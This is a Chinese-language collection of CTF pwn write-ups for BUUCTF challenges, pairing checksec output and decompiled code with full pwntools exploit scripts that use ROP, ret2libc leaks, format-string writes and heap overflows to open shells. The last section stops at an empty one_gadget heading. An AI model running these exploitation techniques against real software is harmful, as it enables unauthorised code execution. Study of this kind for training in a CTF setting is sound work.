[HarekazeCTF2019]baby_rop

1.checksec()

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+0h] [rbp-10h]

system("echo -n \"What's your name? \"");
__isoc99_scanf("%s", &v4);
printf("Welcome to the Pwn World, %s!\n", &v4);
return 0;
}

scanf的溢出,注意,要溢出的栈+8

3.EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29829)

binsh_addr = 0x0601048
sys_addr = 0x00400490
pop_rdi = 0x0400683
payload = 'a'*24 + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr) + p64(0)
p.sendlineafter("?",payload)
p.interactive()

flag在home文件夹下的文件夹中

[HarekazeCTF2019]baby_rop2

环境:?

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[28]; // [rsp+0h] [rbp-20h]
int v6; // [rsp+1Ch] [rbp-4h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("What's your name? ", 0LL);
v3 = read(0, buf, 0x100uLL);
v6 = v3;
buf[v3 - 1] = 0;
printf("Welcome to the Pwn World again, %s!\n", buf);
return 0;
}

printf输出read的真实地址,再ROP

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#from LibcSearcher import *
context.log_level = "debug"
elf=ELF('./babyrop2')
libc = ELF("./libc.so.6")
#p=process('babyrop2')
p=remote('node3.buuoj.cn',28113)

pop_rdi_ret=0x0000000000400733
pop_rsi_r15_ret=0x0000000000400731
format_addr=0x0000000000400790 # %s

printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_plt=elf.sym['main']

payload = "a"*0x28
payload += p64(pop_rdi_ret) + p64(format_addr)
payload += p64(pop_rsi_r15_ret) + p64(read_got) + p64(0)
payload += p64(printf_plt) + p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)

p.recvuntil("!\n")
read_real = u64(p.recv(6).ljust(8,"\x00"))
libc_base = read_real - libc.sym['read']

sys_addr = libc.sym["system"] + libc_base
binsh = libc.search("/bin/sh").next() + libc_base

payload = 'a'*0x28
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(sys_addr)

p.recvuntil("name? ")
p.sendline(payload)
p.interactive()

flag 位置在 /home/babyrop2/

[OGeek2019]babyrop

1.checksec()

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main()
{
int buf; // [esp+4h] [ebp-14h]
char v2; // [esp+Bh] [ebp-Dh]
int fd; // [esp+Ch] [ebp-Ch]

sub_80486BB();
fd = open("/dev/urandom", 0);
if ( fd > 0 )
read(fd, &buf, 4u);
v2 = sub_804871F(buf);
sub_80487D0(v2);
return 0;
}

sub_804871F

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}

sub_80487D0

1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}

sprintf:sprintf 返回以format为格式argument为内容组成的结果被写入string的字节数,结束字符‘\0’不计入内。即,如果“Hello”被写入空间足够大的string后,函数sprintf 返回5

也就是说第一个是’\0’可以绕过检测
string

1
2
3
4
5
6
7
LOAD:0804840B	00000006	C	write
LOAD:08048411 0000000F C __gmon_start__
LOAD:08048420 0000000A C GLIBC_2.0
.rodata:08048920 0000000A C Time's up
.rodata:0804892E 00000009 C Correct\n
.rodata:08048937 0000000D C /dev/urandom
.eh_frame:080489C7 00000005 C ;*2$\"

没有/bin/sh,没有system函数,有libc,考虑write泄露libc

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28118)
#p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = 0x08048825

libc_write = libc.sym["write"]
libc_system = libc.sym["system"]
#binsh = next(libc.search('/bin/sh'))
binsh = 0x15902b

payload_1 = '\x00'+ '\xff'*7

paylaod_2 = 'a'*(0xe7+4) + p32(write_plt) + p32(main_addr)
paylaod_2 += p32(1) + p32(write_got) + p32(4)

p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(paylaod_2)

real_write = u32(p.recv(4))
libc_base = real_write - libc_write
real_system = libc_base + libc_system
binsh = binsh + libc_base

payload_1 = '\x00'+ '\xff'*7
payload_3 = 'a'*(0xe7+4) + p32(real_system) + p32(0)
payload_3 += p32(binsh)

p.sendline(payload_1)
p.recvuntil("Correct\n")
p.sendline(payload_3)
p.interactive()

接受的4字节不需要在ljust对齐了

[ZJCTF 2019]EasyHeap

和hitocn trainning magic heap 一样

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

1
2
3
4
5
6
7
8
9
10
11
12
def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)
def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))
def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

back_door

1
2
3
4
int l33t()
{
return system("/bin/sh");
}

edit_heap

1
2
3
4
5
6
printf("Size of Heap : ", (char *)&v1 + 4, v1);
read(0, (char *)&v1 + 4, 8uLL);
v2 = atoi((const char *)&v1 + 4);
printf("Content of heap : ", (char *)&v1 + 4, v1);
read_input(heaparray[(signed int)v1], v2);
return puts("Done !");

未控制边界,堆溢出

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = "debug"
elf = ELF("./magicheap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./magicheap")
#p = remote("node3.buuoj.cn","25535")

def add(sz,text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def edit(idx,text):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(len(text)))
p.sendlineafter(":",str(text))

def free(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

l33t = 0x6020A0
if __name__ == '__main__':
add(0x60,'aaaa')
add(0x60,'aaaa')
add(0x60,'aaaa')

free(2)
edit(1,'a'*0x60+p64(0)+p64(0x71)+p64(l33t-0x13)) #<--控制bk指针

add(0x60,'aaaa') #2
add(0x60,'aaaa') #3 fake_chunk
edit(3,'a'*8)
p.sendlineafter(":",str(0x1305))
p.interactive()

为什么是p64(l33t-0x13)?

经过动态调试得知,该处是unsorted bin链表

为什么edit(3,’a’*8)?

覆写magic的值为‘0x6161616161616161’,从而进入后门

[ZJCTF 2019]Login

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
printf("Please enter username: ", "admin");
User::read_name((User *)&login);
printf("Please enter password: ");
v3 = (void (*)(void))main::{lambda(void)#1}::operator void (*)(void) const();
v7 = password_checker(v3);
User::read_password((User *)&login);
v4 = User::get_password((User *)&v8);
v5 = User::get_password((User *)&login);
password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(
(void (__fastcall ***)(char *))&v7,
(const char *)v5,
(const char *)v4);
return 0;

password_checker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator() const(void (__fastcall ***a1)(char *), const char *a2, const char *a3)
{
char s; // [rsp+20h] [rbp-60h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( !strcmp(a2, a3) )
{
snprintf(&s, 0x50uLL, "Password accepted: %s\n", &s);
puts(&s);
(**a1)(&s);
}
else
{
puts("Nope!");
}
return __readfsqword(0x28u) ^ v5;
}

strcmp遇见\x00截断,不会判断之后的字符串,所以这里栈溢出

3.EXP

1
2
3
4
5
6
7
8
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",25930)
back_door = 0x400E88
payload = '2jctf_pa5sw0rd'+"\x00"+'a'*20+"\x00"+'a'*36+p64(back_door)
p.sendlineafter("username: ","admin")
p.sendlineafter("password: ",payload)
p.interactive()

[第五空间2019 决赛]PWN5

环境:ubuntu16

1.checksec()

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int a1)
{
unsigned int v1; // eax
int fd; // ST14_4
int result; // eax
int v4; // ecx
unsigned int v5; // et1
char nptr; // [esp+4h] [ebp-80h]
char buf; // [esp+14h] [ebp-70h]
unsigned int v8; // [esp+78h] [ebp-Ch]
int *v9; // [esp+7Ch] [ebp-8h]

v9 = &a1;
v8 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &unk_804C044, 4u);
printf("your name:"); //====+FORMAT+====
read(0, &buf, 0x63u);
printf("Hello,");
printf(&buf);
printf("your passwd:");
read(0, &nptr, 0xFu); // ====+STACK_OVERFLOW+====
if ( atoi(&nptr) == unk_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
v5 = __readgsdword(0x14u);
v4 = v5 ^ v8;
if ( v5 != v8 )
sub_80493D0(v4);
return result;
}

unk_804C044

1
2
3
4
5
6
7
8
9
10
bss:0804C040 byte_804C040    db ?                    ; DATA XREF: sub_8049140↑o
.bss:0804C040 ; sub_8049140+5↑o ...
.bss:0804C041 align 4
.bss:0804C044 randmon_num db ? ; ; DATA XREF: main+77↑o
.bss:0804C044 ; main+108↑o
.bss:0804C045 db ? ;
.bss:0804C046 db ? ;
.bss:0804C047 db ? ;
.bss:0804C047 _bss ends
.bss:0804C047

bss段的unk_804C044,是随机生成的,而我们猜对了这个参数,就可以执行system(“/bin/sh”),刚好字符串格式化漏洞可以实现改写内存地址的值

还有就是不要被开启的canary保护迷惑

3.计算偏移

1
2
3
root@joe1sn:~/download/BUUCTF/PWN5# ./pwn 
your name:aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Hello,aaaa-0xffb44588-0x63-(nil)-(nil)-0x3-0xf7f8c950-0xc2-(nil)-0xc30000-0x61616161-0x2d70252d-0x252d7025-0x70252d70

第一个参数偏移量为10,通过%n修改

%x是吧数据以16进制输出

%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据

https://www.cnblogs.com/0xJDchen/p/5904816.html

4.EXP

1
2
3
4
5
6
7
8
9
from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)

unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x11111111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x11111111))
p.interactive()

0ctf_2016_warmup

1.checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

从汇编看有四个函数

Alarm 、Read 、Write 、sys_exit

关于 Alarm 有个特性:

如果有以前为进程登记的尚未超时的闹钟时钟,而且本次调用的seconds值是0,则取消以前的闹钟时钟,其余留值仍作为alarm函数的返回值

那么当 alarm 剩余 5 秒时,更具汇编fastcall,会将return值返回 eax 寄存器中,那么再次使用 sys_call 的时候就会 系统调用 open函数 ,从而读取到falg的值

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
name = "warmup"
elf = ELF(name)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sh = 0

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

main_addr = 0x804815A
write_addr = 0x8048135
read_addr = 0x804811D
alarm_addr = 0x804810D
data_seg = 0x80491BC
sys_call = 0x804813A

#Step1
#向系统中传递参数 "flag"
payload = 'a'*0x20
payload += p32(read_addr)+p32(main_addr)
payload += p32(0)+p32(data_seg)+p32(0x10)
sh.sendafter("Welcome to 0CTF 2016!\n",payload)

payload = 'flag\x00'
sh.sendlineafter("Good Luck!\n",payload)

#Step2
#0xa-5=5
#这样剩下的就5s了
sleep(5)

#Step3
#再次调用alarm函数就会返回剩余的秒数5到 eax寄存器中
#就会将falg文件读取到 data段
payload = 'a'*0x20
payload += p32(alarm_addr)+p32(sys_call)
payload += p32(main_addr)+p32(data_seg)+p32(0)
sh.send(payload)

#Step4
#从data段中read
payload = 'a'*0x20
payload += p32(read_addr)+p32(main_addr)
payload += p32(3)+p32(data_seg)+p32(0x50)
sh.sendafter("Good Luck!\n",payload)

#Step5
#利用write写出flag
payload = 'a'*0x20
payload += p32(write_addr)+p32(main_addr)
payload += p32(1)+p32(data_seg)+p32(0x50)
sh.sendafter('Good Luck!\n',payload)
sh.interactive()

if __name__ == '__main__':
main("node3.buuoj.cn","28290",1,1)

axb_2019_fmt32

1.cheksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2 .IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
while ( 1 )
{
alarm(3u);
memset(&s, 0, 0x101u);
memset(&format, 0, 0x12Cu);
printf("Please tell me:");
read(0, &s, 0x100u);
sprintf(&format, "Repeater:%s\n", &s);
if ( strlen(&format) > 0x10E )
break;
printf(&format);
}

字符串格式化漏洞,但是没有后门,可以选择libc leak+改printf为one gadget

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level = 'debug'
elf = ELF("./axb_2019_fmt32")
p = remote("node3.buuoj.cn",25318)
libc = ELF("libc-2.23.so")

#0x3a80c execve("/bin/p", esp+0x28, environ)

p.sendlineafter('me:',"%9$sA" + p32(elf.got["printf"]))
p.recvuntil('Repeater:')
printf_got = u32(p.recv(4))

base = printf_got - libc.sym["printf"]
system = base + libc.sym["system"]

log.success("printf addr: %x" , printf_got)
log.success("system addr: %x" , system)
log.success("libc base: %x" , base)
payload ='aaaaa'
payload += fmtstr_payload(9,{0x804A014: (0x3a80c+base)},write_size = "byte",numbwritten = 0xe)
p.sendlineafter("me:",payload)
p.interactive()

axb_2019_heap

1.checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

banner

1
2
3
__isoc99_scanf("%s", &format);
printf("Hello, ", &format);
printf(&format);

存在一个字符串格式化漏洞

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(idx,sz,text):
p.sendlineafter(">>","1")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def delete(idx):
p.sendlineafter(">>","2")
p.sendlineafter(":",str(idx))

def edit(idx,text):
p.sendlineafter(">>","4")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",text)

edit_note

1
2
3
4
5
6
if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
{
puts("Enter the content: ");
get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));
puts("Done!");
}

没有控制范围,堆溢出,利用unlink+free_hook来getshell

3.GDB

在printf处下断点fmtarg查看偏移

stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb-peda$ stack 20
0000| 0x7fffffffde10 --> 0x0
0008| 0x7fffffffde18 --> 0x61616161ffffde30
0016| 0x7fffffffde20 ('a' <repeats 15 times>)
0024| 0x7fffffffde28 --> 0x61616161616161 ('aaaaaaa')
0032| 0x7fffffffde30 --> 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15)
0040| 0x7fffffffde38 --> 0x555555555186 (<main+28>: mov eax,0x0)
0048| 0x7fffffffde40 --> 0x7fffffffdf30 --> 0x1
0056| 0x7fffffffde48 --> 0x0
0064| 0x7fffffffde50 --> 0x555555555200 (<__libc_csu_init>: push r15)
0072| 0x7fffffffde58 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0080| 0x7fffffffde60 --> 0x1
0088| 0x7fffffffde68 --> 0x7fffffffdf38 --> 0x7fffffffe2a7 ("/home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap")
0096| 0x7fffffffde70 --> 0x1f7ffcca0
0104| 0x7fffffffde78 --> 0x55555555516a (<main>: push rbp)
0112| 0x7fffffffde80 --> 0x0
0120| 0x7fffffffde88 --> 0xa45414fa738fad69
0128| 0x7fffffffde90 --> 0x555555554980 (<_start>: xor ebp,ebp)
0136| 0x7fffffffde98 --> 0x7fffffffdf30 --> 0x1
0144| 0x7fffffffdea0 --> 0x0
0152| 0x7fffffffdea8 --> 0x0

偏移

1
2
3
4
gdb-peda$ fmtarg 0x7fffffffde50 #base offset
The index of format argument : 14 ("\%13$p")
gdb-peda$ fmtarg 0x7fffffffde58 #libc offset
The index of format argument : 15 ("\%14$p")

vmmap

1
2
3
4
0x0000555555554000 0x0000555555556000 r-xp	/home/joe1sn/Documents/question/abx_2019_heap/axb_2019_heap
...........
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
...........
1
2
3
4
>>> hex(0x7ffff7a2d830 - 0x00007ffff7a0d000) #libc 偏移量
'0x20830'
>>> hex(0x555555555200 - 0x0000555555554000)
'0x1200'

4.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
elf = ELF("./axb_2019_heap")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./axb_2019_heap")
#p = remote("node3.buuoj.cn","25618")

def add(idx,sz,text):
p.sendlineafter(">>","1")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def delete(idx):
p.sendlineafter(">>","2")
p.sendlineafter(":",str(idx))

def edit(idx,text):
p.sendlineafter(">>","4")
p.sendlineafter(":",str(idx))
p.sendlineafter(":",text)

if __name__ == '__main__':
p.sendlineafter(":","%14$p-%15$p")
p.recvuntil("Hello, ")
axb_leak = int(p.recv(14),16)
p.recvuntil("-")
libc_leak = int(p.recv(14),16)

axb_base = axb_leak-0x1200
libc_base = libc_leak-0x20830
bss_addr = axb_base+0x202060
sys_addr = libc_base+libc.sym["system"]
free_addr = libc_base+libc.sym["__free_hook"]

success("axb base=>0x%x",axb_leak)
success("libc base=>0x%x",libc_base)
success("bss addr=>0x%x",bss_addr)
success("system addr=>0x%x",sys_addr)
success("free addr=>0x%x",free_addr)

add(0,0x98,'0'*0x98)
add(1,0x98,'1111')
add(2,0x90,'2222')
add(3,0x90,'/bin/sh\x00')
# fake chunk fake.sz fake.fd fake.bk repair
payload=p64(0)+p64(0x91)+p64(bss_addr-0x18)+p64(bss_addr-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1) #free fake chunk
#gdb.attach(p)
edit(0,p64(0)*3+p64(free_addr)+p64(0x10))#in fake chunks
#gdb.attach(p)
edit(0,p64(sys_addr))#free->got
#gdb.attach(p)
delete(3)
p.interactive()

babyfengshui_33c3_2016

1.checksec

1
2
3
4
5
6
[*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyfengshui_33c3_2016/babyfengshui'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

RELRO: Partial RELRO可以改写GOT表

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: "); // size of chunk
__isoc99_scanf("%u%c", &v2, &v0);
add_usr(v2);
}
if ( v1 == 1 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delet_usr(v2);
}
if ( v1 == 2 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
display(v2);
}
if ( v1 == 3 )
{
printf("index: ");
__isoc99_scanf("%d", &v2);
text_rewrite(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)byte_804B069 > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}

add_usr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
_DWORD *__cdecl add_usr(size_t a1)
{
void *s; // ST24_4
_DWORD *v2; // ST28_4

s = malloc(a1); // 申请的description大小
memset(s, 0, a1);
v2 = malloc(0x80u);
memset(v2, 0, 0x80u); // v2的大小为0x80
*v2 = s;
ptr[(unsigned __int8)byte_804B069] = v2; // 将指针保存至指针数组中
printf("name: ");
sub_80486BB((char *)ptr[(unsigned __int8)byte_804B069] + 4, 0x7C);// fgets 0x7个字符
text_rewrite(++byte_804B069 - 1); // 写入text
return v2;
}

函数首先分配一个description的最大空间,让你后再分配给user结构体的空间,并将user放入store数组中,最后调用更新decription的函数

1
2
3
4
5
6
struct user{
char *desc;
char name[0x7c];
}user;

struct user *store[50];

store放在0x804b080,当前user个数user_num放在0x804b069(byte_804B069)

https://blog.csdn.net/qinying001/article/details/104359401

可以从这篇文章看堆的情况,这里我大致画一下

1
2
3
4
#code
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
1
2
3
4
5
6
7
=========================================
|| chunk0_desc 0x80 | chunk0_node 0x80 ||
=========================================
|| chunk1_desc 0x80 | chunk1_node 0x80 ||
=========================================
|| chunk2_desc 0x8 | chunk2_node 0x8 ||
=========================================
1
2
#code
delete_user(0)
1
2
3
4
5
6
7
=========================================
|| freed_chunk 0x100 ||
=========================================
|| chunk1_desc 0x80 | chunk1_node 0x80 ||
=========================================
|| chunk2_desc 0x8 | chunk2_node 0x8 ||
=========================================
1
2
#code
add_user(0x100, 0x19c, "A"*(0x100+0x80+0x8+0x10) + p32(elf.got['free'])) # 0 *desc->free_got
1
2
3
4
5
6
7
8
9
=======================
|| chunk0_desc 0x100 || <--first fit规则符合
=========================================
|| chunk1_desc 0x80 | chunk1_node 0x80 ||
=========================================
|| chunk2_desc 0x8 | chunk2_node 0x8 ||
=========================================
|| chunk0_node 0x80 || <--被重新分配
=======================

所以我们首先添加两个user,用于绕过检查。

第3个user存放”/bin/sh”。

然后删 掉第1个user,并创建一个description很长的user,其长度是第1个user的description长度加上user结构体长度。这时候检查就绕了,我们可以在添加新user的时候修改description大小,造成堆溢出,并修改第2个user的user>desc为free@got.plt,从而泄漏出libc地址。

得到system地址后,此时修 改第2个user的description,其实是修free的GOT,所以我们将其改成,system@got.plt

最后删除第3个user,触发system(‘/bin/sh’),得到shell

​ ——《ctf_all_in_one》

3.EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level = 'debug'
io = process('./babyfengshui',env={'LD_PRELOAD':'./libc-2.23.so'})
#io = remote("node3.buuoj.cn",29784)
elf = ELF('babyfengshui')
libc = ELF('libc-2.23.so')

def add_user(size, length, text):
io.sendlineafter("Action: ", '0')
io.sendlineafter("description: ", str(size))
io.sendlineafter("name: ", 'AAAA')
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)

def delete_user(idx):
io.sendlineafter("Action: ", '1')
io.sendlineafter("index: ", str(idx))

def display_user(idx):
io.sendlineafter("Action: ", '2')
io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
io.sendlineafter("Action: ", '3')
io.sendlineafter("index: ", str(idx))
io.sendlineafter("length: ", str(length))
io.sendlineafter("text: ", text)

def GDB():
context.terminal = ['tmux','splitw','-h']
gdb.attach(io)

if __name__ == "__main__":
add_user(0x80, 0x80, 'AAAA') # 0
add_user(0x80, 0x80, 'AAAA') # 1
add_user(0x8, 0x8, '/bin/sh\x00') # 2
delete_user(0)
add_user(0x100, 0x19c, "A"*(0x100+0x80+0x8+0x10) + p32(elf.got['free'])) # 0
display_user(1)
io.recvuntil("description: ")
free_addr = u32(io.recvn(4))
system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
log.info("system address: 0x%x" % system_addr)

update_desc(1, 0x4, p32(system_addr))
#desc->[free]<-system
delete_user(2)
#free(*desc)-->system("/bin/sh\x00")
io.interactive()

babyheap_0ctf_2017

1.checksec

1
2
3
4
5
6
[*] '/home/joe1sn/Documents/ctf/questions/BUUCTF/pwn/babyheap_0ctf_2017/babyheap_0ctf_2017'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+8h] [rbp-8h]

v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
menu();
input(); // input
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
Allocate(v4);
break;
case 2uLL:
Fill(v4);
break;
case 3uLL:
Free(v4);
break;
case 4uLL:
Dump(v4);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}

Fill

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = input();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = input();
v3 = result;
if ( (signed int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

没有检查堆是否溢出

Free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = input();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
result = *(unsigned int *)(24LL * (signed int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

没有system,leak libc + malloc_hook(无法修改GOT表)

one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
